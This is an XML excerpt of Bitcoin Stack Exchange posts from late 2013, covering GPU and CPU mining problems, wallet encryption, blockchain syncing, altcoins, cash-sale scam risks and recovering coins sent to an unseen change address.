  <row Id="17574" PostTypeId="2" ParentId="17537" CreationDate="2013-11-30T10:35:09.247" Score="0" Body="&lt;p&gt;I wonder if banks in the cayman islands would accept btc-e as deposits in us dollars in a savings account you opened in their bank.  If they did, then you could remotely transfer from your account in the caymen islands to your bank account in the US.  You can remotely open an account in the caymen islands without going there.  Its worth a try...I will have to figure out the answer to that same question soon.&lt;/p&gt;&#xA;" OwnerUserId="9722" LastActivityDate="2013-11-30T10:35:09.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17575" PostTypeId="1" CreationDate="2013-11-30T10:36:35.207" Score="2" ViewCount="1614" Body="&lt;p&gt;I'm using coinbase wallet for bitcoin transactions. Is there any option to use testnet for transactions testing purpose in coinbase?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions will helpful.&lt;/p&gt;&#xA;" OwnerUserId="9725" LastActivityDate="2018-07-17T05:52:32.907" Title="How can I use bitcoin testnet in coinbase php" Tags="|bitcoind|coinbase.com|php|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17576" PostTypeId="1" AcceptedAnswerId="17844" CreationDate="2013-11-30T10:39:10.577" Score="5" ViewCount="25853" Body="&lt;p&gt;Here is my run command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer -o stratum+tcp://coinotron.com:3334 -u user -p pass --scrypt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the only output in my terminal I get is (and only this):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2013-11-30 11:34:02] Started cgminer 3.7.2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if &lt;kbd&gt;Ctrl+C&lt;/kbd&gt; it I finally get this output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2013-11-30 11:34:43] Summary of runtime statistics:&#xA;[2013-11-30 11:34:43] Started at [2013-11-30 11:34:03]&#xA;[2013-11-30 11:34:43] Pool: stratum+tcp://coinotron.com:3334&#xA;[2013-11-30 11:34:43] Runtime: 0 hrs : 0 mins : 40 secs                     &#xA;[2013-11-30 11:34:43] Average hashrate: 0.0 Kilohash/s                &#xA;[2013-11-30 11:34:43] Solved blocks: 0                     &#xA;[2013-11-30 11:34:43] Best share difficulty: 0                     &#xA;[2013-11-30 11:34:43] Share submissions: 0                     &#xA;[2013-11-30 11:34:43] Accepted shares: 0                     &#xA;[2013-11-30 11:34:43] Rejected shares: 0                     &#xA;[2013-11-30 11:34:43] Accepted difficulty shares: 0                   &#xA;[2013-11-30 11:34:43] Rejected difficulty shares: 0                   &#xA;[2013-11-30 11:34:43] Hardware errors: 0                     &#xA;[2013-11-30 11:34:43] Utility (accepted shares / min): 0.00/min       &#xA;[2013-11-30 11:34:43] Work Utility (diff1 shares solved / min): 0.00/min&#xA;[2013-11-30 11:34:43] Stale submissions discarded due to new blocks: 0&#xA;[2013-11-30 11:34:43] Unable to get work from server occasions: 0                 &#xA;[2013-11-30 11:34:43] Work items generated locally: 1                 &#xA;[2013-11-30 11:34:43] Submitting work remotely delay occasions: 0     &#xA;[2013-11-30 11:34:43] New blocks detected on network: 1&#xA;[2013-11-30 11:34:43] Summary of per device statistics:&#xA;[2013-11-30 11:34:43] GPU0     | (5s):0.000 (avg):0.000h/s | A:0 R:0 HW:0 WU:0.0/m&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my GPU is properly detected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;11:34:56 me@ArchPC::~/Desktop cgminer -n&#xA; [2013-11-30 11:36:35] CL Platform 0 vendor: NVIDIA Corporation                    &#xA; [2013-11-30 11:36:35] CL Platform 0 name: NVIDIA CUDA                    &#xA; [2013-11-30 11:36:35] CL Platform 0 version: OpenCL 1.1 CUDA 6.0.1                    &#xA; [2013-11-30 11:36:35] Platform 0 devices: 1                    &#xA; [2013-11-30 11:36:35]  0   GeForce 9600 GT                    &#xA; [2013-11-30 11:36:35] 1 GPU devices max detected                    &#xA; [2013-11-30 11:36:35] USB all: found 6 devices - listing known devices                    &#xA; [2013-11-30 11:36:35] No known USB devices&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could the problem be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Just tried it without &lt;code&gt;--scrypt&lt;/code&gt;... it works then, but I need scrypt for LTC. How do I fix this?&lt;/p&gt;&#xA;" OwnerUserId="9724" LastEditorUserId="132" LastEditDate="2014-01-07T10:43:42.623" LastActivityDate="2014-11-02T19:16:06.320" Title="CGMiner no output (LTC GPU mining)" Tags="|mining-pools|litecoin|gpu|cgminer|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17579" PostTypeId="1" CreationDate="2013-11-30T11:28:15.417" Score="0" ViewCount="108" Body="&lt;p&gt;here's the story: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've downloaded Bitcoin v0.8.5-beta and bought myself some bitcoins before the block downloading was finished. Now the downloading is still not finished (3 days and counting): 250k and a bit with a rate of 100 an hour or so. I' ve got a bit of an older computer so that's probably not helping. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: will I ever see my bitcoins and/or is there another way to transfer it to another wallet? Or is there a way to download the blocks faster? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm fearing that the rate of blocks created is higher then the download rate of my computer...&lt;/p&gt;&#xA;" OwnerUserId="9729" LastEditorUserId="5406" LastEditDate="2017-06-17T23:45:15.250" LastActivityDate="2017-06-17T23:45:15.250" Title="Receive bitcoin before block downloading is finished" Tags="|synchronization|" AnswerCount="2" CommentCount="0" ClosedDate="2013-12-07T12:06:04.977" ContentLicense="CC BY-SA 3.0" />
  <row Id="17582" PostTypeId="1" CreationDate="2013-11-30T11:48:14.193" Score="6" ViewCount="1119" Body="&lt;p&gt;Everyone knows Bitcoin and Litecoins goes hand in hand and they are the most popular cryptocurrencies out there. But who is creating all these alternative cryptocurrencies such as Feathercoin, Peercoin, Quarkcoin, Craftcoin, etc. And why are they created?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see no potential why they would be something people would want to pay with in the future. I can not think that a café (for example) wants to add any other payments besides BTC and LTC and some FIAT money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would they ever struggle with adding Peercoin, Quarkcoin, Craftcoin etc etc etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once again, who are creating these coins and why? Do they have potential to grow high? If so, why?&lt;/p&gt;&#xA;" OwnerUserId="9731" LastActivityDate="2014-01-01T04:43:49.167" Title="Who are creating all the alternate cryptocurrencies?" Tags="|litecoin|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17583" PostTypeId="2" ParentId="17582" CreationDate="2013-11-30T12:22:09.227" Score="1" Body="&lt;p&gt;Good question.&#xA;Some of them are pure scams, ie. Goldcoin. Most of them are pre-/insta- mined. &#xA;Some of them are &lt;em&gt;secured&lt;/em&gt; version of the BTC, using another hashing algorythm (Litecoin (it is pretty BAD example of scrypt coin btw)).&#xA;But, in my opinion, they are useless, because in place where cryptocurrency is needed, you can deploy bitcoin. If the place do not need cryptocurrency, none of them are suitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note, that altcoins hurt bitcoin. BTC is deflatory by design, because money supply is limited, however, a number of altcoins is unlimited, so BTC is under inflation into the altcoins. Does it make any sense?&lt;/p&gt;&#xA;" OwnerUserId="9563" LastActivityDate="2013-11-30T12:22:09.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17586" PostTypeId="2" ParentId="17579" CreationDate="2013-11-30T12:51:25.353" Score="1" Body="&lt;p&gt;Please consider using thin client, like Multibit. Your balance will be available to you after few second. You can import BitcoinQT wallet in no time.&lt;/p&gt;&#xA;" OwnerUserId="9563" LastActivityDate="2013-11-30T12:51:25.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17587" PostTypeId="1" AcceptedAnswerId="17596" CreationDate="2013-11-30T13:35:33.387" Score="1" ViewCount="396" Body="&lt;p&gt;How is wallet at official client encrypted? What encryption it use? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What encryption does Bitcoin-qt use and what encryption is used at Multibit?&#xA;And how strong that encryption is compared to other methods?&lt;/p&gt;&#xA;" OwnerUserId="1580" LastEditorUserId="1580" LastEditDate="2013-11-30T21:03:42.677" LastActivityDate="2013-12-02T17:17:23.847" Title="How is wallet at official client encrypted? What encryption it use?" Tags="|wallet|bitcoin-core|multibit|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17588" PostTypeId="2" ParentId="17579" CreationDate="2013-11-30T13:49:38.920" Score="0" Body="&lt;p&gt;What I would do in your case:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;download a Multibit client&lt;/li&gt;&#xA;&lt;li&gt;import your &quot;official&quot; bitcoin wallet.dat into blockchain.info web wallet, as described here - &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5324/how-do-i-import-private-keys-from-bitcoin-qt-to-multibit-client&quot;&gt;How do I import private keys from Bitcoin-qt to Multibit client?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;transfer to the multibit address&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-qt is notoriously slow.&lt;/p&gt;&#xA;" OwnerUserId="1760" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-11-30T13:49:38.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17590" PostTypeId="2" ParentId="17328" CreationDate="2013-11-30T15:16:47.007" Score="5" Body="&lt;p&gt;If you have a seedless wallet the coins received there will need to be signed from the offline computer to be able to spend them. History will be showed in your online PC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for pointing out the outdated info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't need the offline wallet to know how much coins it has, only the online needs that. When you make a payment from the online seedless wallet it knows how much it owns, so the client will spit out the unsigned transaction that needs to be transferred to the offline wallet (with a USB stick or webcam) for it to sign it and then transfer it again to the online PC in order to broadcast it from Electrum.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastEditorUserId="2467" LastEditDate="2013-11-30T22:13:17.477" LastActivityDate="2013-11-30T22:13:17.477" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17592" PostTypeId="1" CreationDate="2013-11-30T18:00:19.357" Score="1" ViewCount="113" Body="&lt;p&gt;Blockchain.info has different ways to access their wallet, and I'd like to read a comparison of these different apps, especially concerning their security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I&lt;/strong&gt; am mostly interested in a &lt;strong&gt;comparison between the &lt;a href=&quot;https://chrome.google.com/webstore/detail/blockchain/glaohkkooicollgefkkmndjcbblominl&quot; rel=&quot;nofollow&quot;&gt;Chrome app&lt;/a&gt; and the &lt;a href=&quot;https://itunes.apple.com/gb/app/blockchain/id688882038?mt=12&quot; rel=&quot;nofollow&quot;&gt;OSX app&lt;/a&gt;&lt;/strong&gt;. There also are an &lt;a href=&quot;https://play.google.com/store/apps/details?id=piuk.blockchain.android&quot; rel=&quot;nofollow&quot;&gt;Android app&lt;/a&gt;, an &lt;a href=&quot;https://blockchain.info/wallet/iphone-app&quot; rel=&quot;nofollow&quot;&gt;iOS app&lt;/a&gt; a &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/my-wallet/&quot; rel=&quot;nofollow&quot;&gt;Firefox app&lt;/a&gt;, not sure if there is something else too (likely something for Windows exists). There is of course the possibility to directly use the website too, but I assume this is almost always less secure than the rest, so there's not much point considering it (unless I'm mistaken).&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-11-30T18:00:19.357" Title="Is there a comparison between different blockchain.info's wallets?" Tags="|blockchain.info|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17596" PostTypeId="2" ParentId="17587" CreationDate="2013-11-30T19:28:53.503" Score="2" Body="&lt;p&gt;Both bitcoind and bitcoinj use AES-256 encryption for the private keys in their wallets (this does not mean that the wallet formats are compatible though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-Qt is just a GUI on top of bitcoind and Multibit is using bitcoinj internally, so the same should apply to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;References:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/crypter.h&quot; rel=&quot;nofollow&quot;&gt;comment in the bitcoind source code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/bitcoinj/wiki/WorkingWithTheWallet#Encrypting_the_private_keys&quot; rel=&quot;nofollow&quot;&gt;bitcoinj documentation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9175" LastEditorUserId="9175" LastEditDate="2013-12-02T17:17:23.847" LastActivityDate="2013-12-02T17:17:23.847" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17599" PostTypeId="1" CreationDate="2013-11-30T20:09:30.583" Score="1" ViewCount="504" Body="&lt;p&gt;A local fellow in my area is will to sell BitCoins for below market price in exchange for cash.  I can't help be wonder if it's a scam.  Is there a reason why someone might be willing to do this?&lt;/p&gt;&#xA;" OwnerUserId="9759" LastActivityDate="2013-12-01T14:58:37.033" Title="Why would someone be willing to sell BitCoins at substantially below market price?" Tags="|sell-bitcoins|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17600" PostTypeId="1" CreationDate="2013-11-30T20:11:15.967" Score="2" ViewCount="8695" Body="&lt;p&gt;I am new to this and don't have any bitcoin yet, but I was wondering if I were ever to get any, will I have to have the client running in order to receive them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also what would happen if the client it not running at the time a bitcoin is sent to the address?&lt;/p&gt;&#xA;" OwnerUserId="9760" LastActivityDate="2013-12-03T04:02:13.937" Title="Do I need the bitcoin client running in order to receive bitcoin?" Tags="|wallet|" AnswerCount="2" CommentCount="2" ClosedDate="2013-12-11T17:26:54.840" ContentLicense="CC BY-SA 3.0" />
  <row Id="17601" PostTypeId="2" ParentId="9753" CreationDate="2013-11-30T20:20:45.213" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;TestNet Bitcoins&lt;/a&gt; - the chain is usually at difficulty 1, so one can mine it reasonably well with a CPU. However, the coins themselves are worthless - it's just a system for testing your Bitcoin solutions.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-11-30T20:20:45.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17602" PostTypeId="1" AcceptedAnswerId="17746" CreationDate="2013-11-30T20:38:05.123" Score="4" ViewCount="19135" Body="&lt;p&gt;I know The 7950 is the most efficient in (MH/s)/$/watt... but I have contractual access to unlimited free power. I'm already using the power anyway so the marginal cost of the power is actually zero. Is there a machine I could build and turn a profit with at this point? Litecoin is not the most profitable Scrypt coin to mine now, so don't assume I'm mining Litecoin.&#xA;The asics coming out &quot;soon&quot; might be a concern, if they actually even come out soon, but its my understanding that they are good for being low wattage, whereas the hash/dollar is similar to GPUs still.&#xA;Assuming I could be confident that a Scrypt asic manufacturer is trustworthy enough to buy from, I wouldn't be opposed to doing that, but thats really a pretty big gamble, unlike ordering a bunch of parts from amazon/newegg on cyber monday.&#xA;Also I'll be able to resell GPUs, so even if this becomes non-viable after 6 months or so, I'll be able to recover a decent chunk of my investment.&#xA;I say &quot;unlimited budget&quot; meaning I can fully saturate a motherboard with GPUs or purchase an asic without an issue, whatever the most efficient is.&lt;/p&gt;&#xA;" OwnerUserId="7144" LastEditorUserId="5406" LastEditDate="2016-03-14T13:19:07.353" LastActivityDate="2016-03-14T13:19:07.353" Title="most profitable scrypt mining machine per dollar with unlimited budget and free power?" Tags="|mining-hardware|scrypt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17604" PostTypeId="2" ParentId="17600" CreationDate="2013-11-30T20:51:16.773" Score="4" Body="&lt;p&gt;No, you do not need to have the client running to receive payment on an existing address. Your transaction would go through because bitcoin transactions aren't contained on a local file, but a distributed ledger called the &quot;blockchain.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't need to be logged in or anything to receive bitcoin.  What's important is to keep your wallet file containing your bitcoin private keys secret and backed up, as without those, you have no access to the address with your bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, a lot of people, fearing their computers being compromised by hackers, actually advocate you store large amounts of bitcoin in a wallet that's generated offline and stored on an offline computer, USB flash drive, or piece of paper.  This practice is called cold storage, and is a very good idea for large amounts of bitcoin you don't want to lose and have no intention to spend quickly.  So, the paranoid strategy would be to never have your wallet online, believe it or not.&lt;/p&gt;&#xA;" OwnerUserId="9762" LastEditorUserId="5875" LastEditDate="2013-12-01T16:45:07.297" LastActivityDate="2013-12-01T16:45:07.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17606" PostTypeId="2" ParentId="17599" CreationDate="2013-11-30T21:30:16.653" Score="2" Body="&lt;p&gt;Some possible reasons&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;He's an idiot/uninformed&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;He's willing to sell low because he wants to promote adoption&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;He's got a very low Net Asset Value (very early adopter)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;He wants to unload a lot of coins quickly&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;He is trying to avoid records/taxes on this transfer&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;He's not willing to wait for the traditional fiat system (time preference)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;He only has a high fee method of withdrawing fiat, so it is not actually a loss for him&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;He's got stolen/tainted coins&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;He's going to steal your cash&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There is no official system in place to assign taint, but if they are from a highly publicized theft and not mixed before they are sold to you there may eventually be people in suits knocking on your door wanting to sieze them or asking awkward questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 7 of these 9 reasons there is no real problem for the buyer, but if you want to avoid stolen coins or getting mugged you should ask some questions, get a copy of his ID, and do the deal in a public place with witnesses.&lt;/p&gt;&#xA;" OwnerUserId="5875" LastEditorUserId="5875" LastEditDate="2013-12-01T14:58:37.033" LastActivityDate="2013-12-01T14:58:37.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17610" PostTypeId="1" AcceptedAnswerId="17612" CreationDate="2013-11-30T22:16:54.537" Score="1" ViewCount="421" Body="&lt;p&gt;I have forgotten the password that I created for my wallet. I can, however, open my bitcoin-qt software successfully and see my transactions etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can't recover or brute-force my password. Can I move my Bitcoins from this wallet to a new wallet (where I'll take better care of my password)? How?&lt;/p&gt;&#xA;" OwnerUserId="9765" LastActivityDate="2016-06-25T02:37:14.750" Title="I've forgotten the password to my wallet but can still access it, can I get my Bitcoins out?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17611" PostTypeId="1" CreationDate="2013-11-30T22:38:06.723" Score="-1" ViewCount="1737" Body="&lt;p&gt;I have an i3-3220 processor which i am using for mining. &#xA;I know that you're supposed to use a GPU and all that. But currently i'm just trying it out before spending money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using CPUMiner, mining at middlecoin.com, 24 hours a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that i'm recieving very less hashrate.&#xA;This &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt; points out that an i3 processor (which is actually a lower model than mine) recieves almost 8.5 MH/s and i receive about 5.5 KH/s on each thread that is about 27 KH/s in total.Why such a large difference?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do i need to tweak? Is my program useless? Are the settings wrong? Is it problem with the pool?&lt;/p&gt;&#xA;" OwnerUserId="9766" LastActivityDate="2014-04-01T22:03:59.577" Title="Not getting enough Hashrate" Tags="|hash|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17612" PostTypeId="2" ParentId="17610" CreationDate="2013-12-01T00:05:38.183" Score="2" Body="&lt;p&gt;Sorry but there is no way to spend the coins without the password.  However if your password was of poor quality you may be able to use hacking tools to brute-force it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Importing the coins to another wallet won't help... it would have the same password.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-12-01T00:05:38.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17615" PostTypeId="1" AcceptedAnswerId="17633" CreationDate="2013-12-01T00:49:38.540" Score="1" ViewCount="2241" Body="&lt;p&gt;Is there any difference in hashrate if I mine from mainboard with pci-e v1 v2 or v3. Also is there difference if I use x1 slot with extension to x16?&lt;/p&gt;&#xA;" OwnerUserId="9205" LastEditorUserId="5406" LastEditDate="2016-04-28T12:53:03.110" LastActivityDate="2016-04-28T12:53:03.110" Title="PCI-E v1 2 and 3 differences in mining?" Tags="|hashpower|gpu-mining|mining-setup|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17617" PostTypeId="1" CreationDate="2013-12-01T01:34:53.897" Score="0" ViewCount="340" Body="&lt;p&gt;What computational questions are solved by bitcoin miners and what is the computational complexity of one instance of this question. Essentially, how would someone program an application for bitcoin mining.&lt;/p&gt;&#xA;" OwnerUserId="9775" LastEditorUserId="5406" LastEditDate="2016-04-25T21:32:52.697" LastActivityDate="2016-04-25T21:32:52.697" Title="Question solved by bitcoin miners" Tags="|mining-technical-details|proof-of-work|" AnswerCount="1" CommentCount="1" ClosedDate="2013-12-07T12:10:33.043" ContentLicense="CC BY-SA 3.0" />
  <row Id="17618" PostTypeId="1" CreationDate="2013-12-01T01:41:19.403" Score="21" ViewCount="101383" Body="&lt;p&gt;I'm new to bitcoin.&#xA;Can you tell me step by step how do I send Bitcoin in paper wallet to other person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="9777" LastActivityDate="2019-03-09T03:39:25.723" Title="How do I send Bitcoin in paper wallet to other person?" Tags="|transactions|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17619" PostTypeId="2" ParentId="17559" CreationDate="2013-12-01T02:04:39.950" Score="2" Body="&lt;p&gt;This exact question was asked and answered &lt;a href=&quot;https://ripple.com/forum/viewtopic.php?f=14&amp;amp;t=3129&amp;amp;p=25833#p25815&quot; rel=&quot;nofollow&quot;&gt;on the Ripple forums&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears as if SnapSwap doesn't give appropriate instructions on what the procedure is for sending funds into a brand new Ripple account/wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The general procedure is approximately this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First you send then USD via your bank and provide them with your Ripple address.&lt;/li&gt;&#xA;&lt;li&gt;Then they send you a small amount of XRP to initially fund your account. A brand new Ripple address cannot receive anything other than XRP so they cannot send the USD to you yet.&lt;/li&gt;&#xA;&lt;li&gt;You extend a suitable amount of trust to their issuing address. This requires a &lt;a href=&quot;https://ripple.com/wiki/Reserves&quot; rel=&quot;nofollow&quot;&gt;small amount of XRP from step 2 be reserved&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;They send your funds to you as a USD/SnapSwap balance in Ripple.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For future use, when you send funds into Ripple via SnapSwap to an already funded Ripple account, they should directly send the USD to your Ripple account as step 2 (assuming you have a sufficent trust line aka payment path setup).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that you can use the USD/SnapSwap in Ripple in payments or to trade. In particular, if you want XRP you can use the &quot;convert&quot; page in the Ripple client to covert all or some of your USD into XRP at the best current market rate Ripple can find.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2013-12-01T02:04:39.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17620" PostTypeId="2" ParentId="17600" CreationDate="2013-12-01T02:05:24.273" Score="0" Body="&lt;p&gt;Not necessarily. It depends to which address a person sent bitcoins. If someone sent them to your address that associated with online wallets (something like mtgox account) then you do not even need a bitcoin client. In fact a some of the people who are traiding online do not even have bitcoin wallet installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you do need to have a client running. Moreover a client should be synchronized with the rest of the network (so if I sent you coins and you just downloaded a client and run it, you need to wait for some time till you will receive them). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answering your second question, you do not need to run the client exactly at the time of sending. You can turn on the client in few days after the sending and when the client will synchronize everything, you will see your coins.&lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2013-12-01T02:05:24.273" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="17621" PostTypeId="1" AcceptedAnswerId="17623" CreationDate="2013-12-01T02:16:52.613" Score="1" ViewCount="1793" Body="&lt;p&gt;I'm using the bitcoin-qt client on v0.8.1-beta on Mac OSX&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 3 addresses.  I tried sending .01BTC from one address to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1K3BjT1y2X2v3PGhqHh33dRb6kVGdR5CBA -&gt;  1MattHdtuFSof3ctrZhTGzsfQecQBso2nw&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However!!! When I lookup the transaction ID: &lt;a href=&quot;https://blockchain.info/tx/f638b5ecda8d8b0280a49f342e6cac13560917d5e678f1e3b9a7f35f69b15b97&quot; rel=&quot;nofollow noreferrer&quot;&gt;f638b5ecda8d8b0280a49f342e6cac13560917d5e678f1e3b9a7f35f69b15b97&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did sent the .01 to myself but it also sent&#xA;1.2594786 BTC -&gt; 1Ypzoqn4BYSbgeqPJ3mSPdqBC8JGzgX4r&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea what the 1Yp... address is!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happened!!!  Did I just loose $1000 ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it did NOT prompt me about paying any transaction fees!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would greatly appreciate any help! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;:&#xA;Yeah!!! I recovered my coins.   For whatever reason bitcoin-qt generated a new private key but didn't show ANY indication of this in the GUI.  This &lt;em&gt;may&lt;/em&gt; be because it was backlogged by about 100 days in downloading transactions..  not sure.  but in any event LUCKILY i had been messing around with trying to migrate to multibit.. anyway i tried to export the private key and was successful:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;walletpassphrase  120&#xA;dumporivkey 1Ypzoqn4BYSbgeqPJ3mSPdqBC8JGzgX4r&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it worked !  it actually dumped the priv key and I was able to import into blockchain.info and get access again.  Not sure what happened but it was very unnerving...   again, the GUI does NOT show 1Ypzoqn4BYSbgeqPJ3mSPdqBC8JGzgX4r as one of my addresses...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone care to explain what happened?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QXl6R.png&quot; alt=&quot;Transaction Details Image from Bitcoin-qt&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9778" LastEditorUserId="15412" LastEditDate="2014-06-17T21:49:24.587" LastActivityDate="2014-06-17T21:49:24.587" Title="Help! Tried sending bitcoins to myself and they disappeared" Tags="|bitcoin-core|lost-transactions|lost-bitcoins|" AnswerCount="1" CommentCount="1" ClosedDate="2022-02-14T14:42:28.087" ContentLicense="CC BY-SA 3.0" />
